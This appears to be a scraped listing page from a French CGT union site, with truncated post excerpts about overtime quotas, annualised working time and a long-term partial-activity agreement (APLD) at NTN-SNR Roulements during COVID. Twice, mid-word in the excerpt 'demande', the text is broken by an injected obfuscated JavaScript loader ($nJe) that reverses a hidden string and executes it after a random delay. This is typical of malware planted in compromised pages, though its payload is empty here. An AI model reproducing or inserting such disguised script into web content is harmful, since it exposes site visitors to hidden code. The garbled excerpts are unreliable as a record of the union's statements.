La CGT à fait les 2 déclarations suivantes
Lundi 30 Mars 2020 nous avions déjà déclaré : La priorité c’est
protéger !
La priorité est bien de prendre...
Travailler
moins, travailler mieux, travailler toutes et tous !
À l’heure où « la relance de l’économie »
est prétexte pour dem$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var...
 la dem$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ande de la CGT. ...
Après l’annonce sur les 300 heures supplémentaires obligatoires
L’annualisation du temps de travail sera donc la nouvelle norme dans l’entreprise si nous ne nous mobilisons...
Flexibilité ou Travail à la carte ...
Une position dogmatique !
Proposition NTN-SNR de porter le contingent des heures supplémentaires à 400 heures.
Avec un Contingent de base obligatoire pouvant atteindre 300...
Depuis le point haut de 2017, les années de 2018 -2019 : ET BIEN AVANT LE COVID, NTN SNR FAIT FACE À UNE BAISSE...
Dans le contexte de crise sanitaire majeure, lié à l’épidémie de Coronavirus (COVID-19), qui appelle à prendre les mesures indispensables à son endiguement, la...
Accord de mise en place du dispositif d’activité partielle longue durée(APLD) au sein du groupe NTN-SNR ROULEMENTS
C’est fait on en prend pour 2 ans...
Celle-ci aura pour objectif de parvenir à un accord relatif au dispositif spécifique d’activité partielle longue durée.
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L’activité partielle spécifique (APLD ou...
